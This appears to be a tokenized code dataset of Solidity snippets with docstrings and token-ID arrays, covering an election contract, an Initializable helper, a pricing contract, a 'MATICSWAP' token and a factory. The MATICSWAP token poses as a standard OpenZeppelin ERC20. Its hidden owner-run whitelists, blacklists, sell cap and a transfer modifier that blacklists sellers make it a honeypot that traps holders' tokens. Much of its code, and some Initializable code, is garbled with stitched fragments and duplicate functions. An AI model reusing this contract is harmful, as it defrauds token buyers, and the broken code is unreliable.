12,
3576,
18,
15330,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x34254A1F855896f486d5c9D0A0Ce225042f85FfF/sources/contracts/elecciones.sol | cierra el periodo de votacion, y habilita el periodo de recuento | function cerrar_votaciones() public{
require(isOwner[msg.sender], "Debes ser owner para cerrar las votaciones");
require(periodo_eleccion, "Las elecciones ya han sido finalizadas o no han comenzado");
periodo_eleccion = false;
periodo_planificacion = false;
periodo_recuento = true;
}
| 12,480,339 | [
1,
71,
2453,
354,
415,
3879,
83,
443,
331,
352,
19861,
16,
677,
366,
22681,
23338,
415,
3879,
83,
443,
1950,
10744,
83,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
23337,
297,
67,
90,
352,
19861,
281,
1435,
1071,
95,
203,
3639,
2583,
12,
291,
5541,
63,
3576,
18,
15330,
6487,
315,
758,
70,
281,
703,
3410,
12602,
23337,
297,
27596,
331,
352,
19861,
281,
8863,
203,
3639,
2583,
12,
6908,
83,
67,
292,
24410,
285,
16,
315,
48,
345,
415,
24410,
285,
281,
27137,
366,
304,
7348,
83,
727,
452,
361,
345,
320,
1158,
366,
304,
532,
275,
94,
6821,
8863,
203,
3639,
3879,
83,
67,
292,
24410,
285,
273,
629,
31,
203,
3639,
3879,
83,
67,
7088,
1507,
19861,
273,
629,
31,
203,
3639,
3879,
83,
67,
3927,
10744,
83,
273,
638,
31,
203,
565,
289,
203,
377,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x21b2BBb39ce01437b0f14eFee0EbE62965ED5618/sources/node_modules/_thirdweb-dev/contracts/extension/Initializable.sol | * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. The initialization functions use a version number. Once a version number is used, it is consumed and cannot be reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in case an upgrade adds a module that needs to be initialized. For example: [.hljs-theme-light.nopadding] ``` contract MyToken is ERC20Upgradeable { function initialize() initializer public { __ERC20_init("MyToken", "MTK"); } } contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { function initializeV2() reinitializer(2) public { __ERC20Permit_init("MyToken"); } } ``` TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. [CAUTION] ==== Avoid leaving a contract uninitialized. An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: [.hljs-theme-light.nopadding] ``` constructor() { _disableInitializers(); } ``` ====/ | abstract contract Initializable {
uint8 private _initialized;
bool private _initializing;
event Initialized(uint8 version);
pragma solidity ^0.8.0;
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(
(isTopLevelCall && _initialized < 1) || (!TWAddress.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized"
);
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(
(isTopLevelCall && _initialized < 1) || (!TWAddress.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized"
);
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier initializer() {
bool isTopLevelCall = !_initializing;
require(
(isTopLevelCall && _initialized < 1) || (!TWAddress.isContract(address(this)) && _initialized == 1),
"Initializable: contract is already initialized"
);
_initialized = 1;
if (isTopLevelCall) {
_initializing = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
emit Initialized(1);
}
}
modifier reinitializer(uint8 version) {
require(!_initializing && _initialized < version, "Initializable: contract is already initialized");
_initialized = version;
_initializing = true;
_;
_initializing = false;
emit Initialized(version);
}
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
function _disableInitializers() internal virtual {
require(!_initializing, "Initializable: contract is initializing");
if (_initialized < type(uint8).max) {
_initialized = type(uint8).max;
emit Initialized(type(uint8).max);
}
}
}
| 5,563,670 | [
1,
2503,
353,
279,
1026,
6835,
358,
20702,
316,
7410,
8400,
429,
20092,
16,
578,
1281,
3846,
434,
6835,
716,
903,
506,
19357,
21478,
279,
2889,
18,
7897,
21875,
20092,
741,
486,
1221,
999,
434,
279,
3885,
16,
518,
1807,
2975,
358,
3635,
3885,
4058,
358,
392,
3903,
12562,
445,
16,
11234,
2566,
1375,
11160,
8338,
2597,
1508,
12724,
4573,
358,
17151,
333,
12562,
445,
1427,
518,
848,
1338,
506,
2566,
3647,
18,
1021,
288,
22181,
97,
9606,
2112,
635,
333,
6835,
903,
1240,
333,
5426,
18,
1021,
10313,
4186,
999,
279,
1177,
1300,
18,
12419,
279,
1177,
1300,
353,
1399,
16,
518,
353,
12393,
471,
2780,
506,
23312,
18,
1220,
12860,
17793,
283,
17,
16414,
434,
1517,
315,
4119,
6,
1496,
5360,
326,
6710,
434,
394,
10313,
6075,
316,
648,
392,
8400,
4831,
279,
1605,
716,
4260,
358,
506,
6454,
18,
2457,
3454,
30,
306,
18,
25356,
2924,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
17801,
6835,
10188,
6934,
288,
203,
565,
2254,
28,
3238,
389,
13227,
31,
203,
203,
565,
1426,
3238,
389,
6769,
6894,
31,
203,
203,
565,
871,
10188,
1235,
12,
11890,
28,
1177,
1769,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
565,
9606,
12562,
1435,
288,
203,
3639,
1426,
353,
27046,
1477,
273,
401,
67,
6769,
6894,
31,
203,
3639,
2583,
12,
203,
5411,
261,
291,
27046,
1477,
597,
389,
13227,
411,
404,
13,
747,
16051,
18869,
1887,
18,
291,
8924,
12,
2867,
12,
2211,
3719,
597,
389,
13227,
422,
404,
3631,
203,
5411,
315,
4435,
6934,
30,
6835,
353,
1818,
6454,
6,
203,
3639,
11272,
203,
3639,
389,
13227,
273,
404,
31,
203,
3639,
309,
261,
291,
27046,
1477,
13,
288,
203,
5411,
389,
6769,
6894,
273,
638,
31,
203,
3639,
289,
203,
3639,
389,
31,
203,
3639,
309,
261,
291,
27046,
1477,
13,
288,
203,
5411,
389,
6769,
6894,
273,
629,
31,
203,
5411,
3626,
10188,
1235,
12,
21,
1769,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
9606,
12562,
1435,
288,
203,
3639,
1426,
353,
27046,
1477,
273,
401,
67,
6769,
6894,
31,
203,
3639,
2583,
12,
203,
5411,
261,
291,
27046,
1477,
597,
389,
13227,
411,
404,
13,
747,
16051,
18869,
1887,
18,
291,
8924,
12,
2867,
12,
2211,
3719,
597,
389,
13227,
422,
404,
3631,
203,
5411,
315,
4435,
6934,
30,
6835,
353,
1818,
6454,
6,
203,
3639,
11272,
203,
3639,
389,
13227,
273,
404,
31,
203,
3639,
309,
261,
291,
27046,
2
] |
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.8;
// Chainlink Contracts
import "./chainlink/ChainlinkClient.sol"; // includes SafeMath
import "./chainlink/interfaces/AggregatorInterface.sol";
import "./TinyBoxesBase.sol";
contract TinyBoxesPricing is TinyBoxesBase, ChainlinkClient {
using SafeMath for uint256;
AggregatorInterface internal refFeed;
address constant DEFAULT_FEED_ADDRESS = 0xb8c99b98913bE2ca4899CdcaF33a3e519C20EeEc; // Ropsten
//address constant DEFAULT_FEED_ADDRESS = 0xeCfA53A8bdA4F0c4dd39c55CC8deF3757aCFDD07; // Mainnet
uint256 public linkPremium = 2000; // in percent * 1000
uint256 public startPrice = 160000000000000000; // in wei
uint256 public priceIncrease = 1000000000000000; // in wei
/**
* @dev Contract constructor.
* @notice Constructor inherits ChainlinkClient
*/
constructor(address _link, address _feed) public {
// Set the address for the LINK token to the public network address
// or use an address provided as a parameter if set
if (_link == address(0)) setPublicChainlinkToken();
else setChainlinkToken(_link);
// set the feed address and init the interface
if (_feed == address(0))
refFeed = AggregatorInterface(DEFAULT_FEED_ADDRESS); // init LINK/ETH with default aggrigator contract address
else refFeed = AggregatorInterface(_feed); // init LINK/ETH with custom aggrigator contract address
}
/**
* @dev Get the price of token number _id in LINK (Chainlink Token) including the premium
* @return price in LINK of a token currently
*/
function linkPriceAt(uint256 _id) public view returns (uint256 price) {
price = (ethToLink(priceAt(_id)) * (10**5 + linkPremium)) / 10**5;
}
/**
* @dev Convert a value in Eth to one in LINK (Chainlink Token)
* @return value in LINK eqivalent to the provided Eth value
*/
function ethToLink(uint256 priceEth) internal view returns (uint256 value) {
value = ((priceEth * ONE_LINK) / uint256(refFeed.latestAnswer()));
}
/**
* @dev Get the price of a specific token id
* @param _id of the token
* @return price in wei of token id
*/
function priceAt(uint256 _id) public view returns (uint256 price) {
uint256 tokeninflation = (_id / 2) * priceIncrease; // add .001 eth to price per 2 tokens minted
price = startPrice + tokeninflation;
}
/**
* @dev Get the current price of a token
* @return price in wei of a token currently
*/
function currentPrice() public view returns (uint256 price) {
price = priceAt(_tokenIds.current());
}
/**
* @dev Get the current price of a token in LINK (Chainlink Token)
* @return price in LINK of a token currently
*/
function currentLinkPrice() public view returns (uint256 price) {
price = linkPriceAt(_tokenIds.current());
}
}
| * @dev Get the current price of a token in LINK (Chainlink Token) @return price in LINK of a token currently/ | function currentLinkPrice() public view returns (uint256 price) {
price = linkPriceAt(_tokenIds.current());
}
| 12,762,419 | [
1,
967,
326,
783,
6205,
434,
279,
1147,
316,
22926,
261,
3893,
1232,
3155,
13,
327,
6205,
316,
22926,
434,
279,
1147,
4551,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
783,
2098,
5147,
1435,
1071,
1476,
1135,
261,
11890,
5034,
6205,
13,
288,
203,
3639,
6205,
273,
1692,
5147,
861,
24899,
2316,
2673,
18,
2972,
10663,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x656ab07E581a247A74c9d92Ea15688C8fA67c384/sources/contracts/maticswap.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract MATICSWAP is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;
}
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (_whiteAddress[sender] == true){
if (amount < _sellAmount){
}
}
}
}
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
| 4,882,497 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
490,
11781,
18746,
2203,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
5267,
364,
1758,
31,
203,
377,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
14739,
1887,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
3238,
389,
11223,
1887,
31,
203,
377,
203,
565,
2254,
5034,
3238,
389,
87,
1165,
6275,
273,
374,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
377,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
565,
2254,
5034,
3238,
389,
12908,
537,
620,
273,
22821,
7235,
3462,
6675,
4366,
9036,
2313,
3657,
6564,
4366,
10321,
5908,
7140,
713,
5292,
28,
7235,
8642,
7140,
27284,
2733,
5193,
6028,
25,
1105,
6260,
1105,
4630,
29,
7950,
5877,
5193,
713,
7235,
3437,
24886,
4449,
2733,
4763,
31,
203,
203,
565,
1758,
1071,
389,
8443,
31,
203,
565,
1758,
3238,
389,
4626,
5541,
31,
203,
565,
1758,
3238,
389,
318,
77,
10717,
273,
374,
7669,
29,
73,
21,
71,
41,
4033,
74,
23728,
21,
74,
3247,
69,
41,
10261,
4449,
27,
378,
6028,
69,
22,
952,
69,
29,
39,
6418,
28,
38,
29,
42,
31,
203,
377,
203,
203,
97,
203,
282,
3885,
2
] |
./partial_match/1/0x2F66C5aAF006Bd9c51615D617589C16c0ed35fD3/sources/contracts/DODOV3MM/periphery/D3MMFactory.sol | * @title D3MMFactory @author DODO Breeder @notice This factory contract is used to create/register D3MM pools./ different index means different tmeplate, 0 is for normal d3 pool. ============ Events ============ ============ Constructor Function ============ | contract D3MMFactory is InitializableOwnable {
mapping(uint256 => address) public _D3POOL_TEMPS;
mapping(uint256 => address) public _D3MAKER_TEMPS_;
address public _CLONE_FACTORY_;
address public _ORACLE_;
ID3Vault public d3Vault;
